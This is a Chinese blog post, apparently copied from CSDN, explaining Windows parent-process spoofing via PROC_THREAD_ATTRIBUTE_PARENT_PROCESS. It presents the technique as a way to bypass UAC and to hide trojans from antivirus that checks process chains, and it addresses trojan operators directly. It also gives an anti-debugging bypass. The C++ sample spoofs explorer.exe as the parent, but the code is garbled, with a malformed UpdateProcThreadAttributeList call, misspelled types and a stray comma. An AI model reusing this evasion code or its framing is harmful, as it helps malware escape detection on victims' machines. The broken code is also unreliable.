标签:uac绕过 windows核心编程 windows父子进程关系 绕过uac免杀木马 反调试绕过
表面上看,在windows中。如果是a进程创建了b进程,那么a进程就是b进程的父进程,反之,如果是b创建了a,那么b进程就是a的父进程,这是在windows出现以来一直是程序猿们都证实的,但是在在win Vista后面有了一个新安全消息机制,UAC(user account control),这里科普下UAC的功能,其实UAC就是大家常见的安装软件或者启动程序的时候的出现的全屏变暗的一个提示框,这里顺便提醒下大家不要把它的提醒级别降低,这里大家不要蓄意把他的提示级别较低,这样会带来很大的安全隐患。因为正常的UAC级别下,会检测程序是否有数字签名(可识别程序),以及他的数字签名是否合法,这对于一部分低端的木马具有提醒作用(注意这里说的是可以提示一般的 灰鸽子等变种,高端的木马会绕过这里,具体思路见后面),好了这里再回头说进程关系,这里先说一句关键的话:进程在创建进程时,他的父进程可以被指定。这个是在《深入解析Windows操作系统》(第六版)中有详细的说明,里面的意思是这样解释UAC提权的,当用户允许一次UAC提权时,AIS服务(AppInfo Service)调用的CreateProcessAsUser() 函数创建进程并且赋予恰当的管理员权限,在理论上说AIS服务(所在的进程)是提权后进程的父进程,当我们用进程树查看工具(顺便推荐几款用过的Process moniter,IceSworld,Process Explorer等) 查看时,会发现提权的进程的父进程是创建它的进程,这是因为AIS利用了CreateProcessAsUser() API中的一个新的功能,这里的新功能就是将提权进程的父进程设置成创建该进程的进程,如果我们利用一下该API,我们就可以将自己的进程的的父进程设置为任意进程(要提权绕过UAC的鸽子注意了),如果把木马进程的父进程设置为 杀软 的ID或者csrss.exe ,notepad.exe 等可信进程,那么对于依据父进程可疑(进程链)来查杀的杀软就轻易绕过了,这里顺便提示下另一个绕过反调试的小技巧,如果你发现一个该死的小程序检查父进程是不是explorer.exe来判断是否是合法环境,那你会咋办?这里一般是逆向一些小游戏的时候常见滴,好吧,不卖关子了,根据上面的介绍,我调试的时候把他的父进程从 ollydbg直接改成他要求的explorer.exe 就Ok了。有木有? 呵呵,这里其实是高兴的太早,因为道高一尺,魔高一丈,要想真正的搞清楚原理,还是继续往下看吧,这个新的功能需要哪里查?这里微软的东东首推MSDN,下面去看下喽:在MSDN中介绍的,如果是CreateProcessAsUser 的dwCreationFlags 的参数被设置为EXTENDED_STARTUPINFO_PRESENT, 这就是有扩展启动信息的结构体, 这里的IpStartupInfo参数需要填好STARTUPEX 结构,这个结构由STARTUOINFO结构和PROC_THREAD_ATTRIBUTE_LIST 指针构成:
typedef struct _STARTUPINFOEX { STARTUPINFO StartupInfo; PPROC_THREAD_ATTRIBUTE_LIST lpAttributeList; } STARTUPINFOEX, *LPSTARTUPINFOEX;
DWORD pid = 0; /* 根据进程名获取任意进程Id */ GetProcessIdByName(L"explorer.exe",&pid); /* 已全部权限打开explorer.exe 进程 */ HANDLE handle = OpenProcess(PROCESS_ALL_ACCESS,FALSE,pid); cout << "PID:" << pid << endl << "Handle:" << handle << endl; /* 创建启动信息结构体 */ STARTUPOINFOEXA si; /* 初始化结构体 */ ZeroMemory(&si,sizeof(si)); /* 设置结构体成员 */ si.StartupInfo.cb = sizeof(si); SIZE_T lpsize = 0; /* 用微软规定的特定的函数初始化结构体 */ InitializeProcThreadAttributeList(NULL,1,0,&lpsize); char * temp = new char[lpsize]; /* 转换指针到正确类型 */ LPPROC_THREAD_ATTRIBUTE_LIST AttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)temp; /* 真正为结构体初始化属性参数 */ InitializeProcThreadAttributeList(AttributeList,1,0,&lpsize); /* 用已构造的属性结构体更新属性表 */ if (!UpdateProcThreadAttributeList,0,PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &handle,sizeof(HANDLE),NULL,NULL) { cout << "Fail to update attributes" << endl; } /* 移交指针,这里已更换了父进程的属性表是 explorer.exe */ si.lpAttributeList = AttributeList; PROCESS_INFORMATION pi; ZeroMemory(&pi, sizeof(pi)); # ifdef ADMIN HANDLE Token; /* 这里的token需要修改,如果在启动如注册表等时,并且要右键管理员形式启动(这个过程可以程序实现,你懂的!!!) */ OpenProcessAsUserA(Token, 0 , "regedit.exe", 0, 0, 0, EXTENDED_STARTUPINFO_PRESENT,0, 0, (LPSTARTUPINFOA)&si, &pi); # else if (CreateProcessAsUserA(NULL,0,"calc.exe",0, 0, 0, EXTENDED_STARTUPINFO_PRESENT,0, 0, (LPSTARTUPINFOA),&si, &pi)) # endif { cout << "Process started" << endl; } else { cout << "Error code:" << GetLastError() << endl; } /* 处理后事 */ DeleteProcThreadAttributeList(AttributeList); delete temp;
关于父进程和子进程的关系(UAC 绕过思路),布布扣,bubuko.com
标签:uac绕过 windows核心编程 windows父子进程关系 绕过uac免杀木马 反调试绕过
原文地址:http://blog.csdn.net/l_f0rm4t3d/article/details/25567463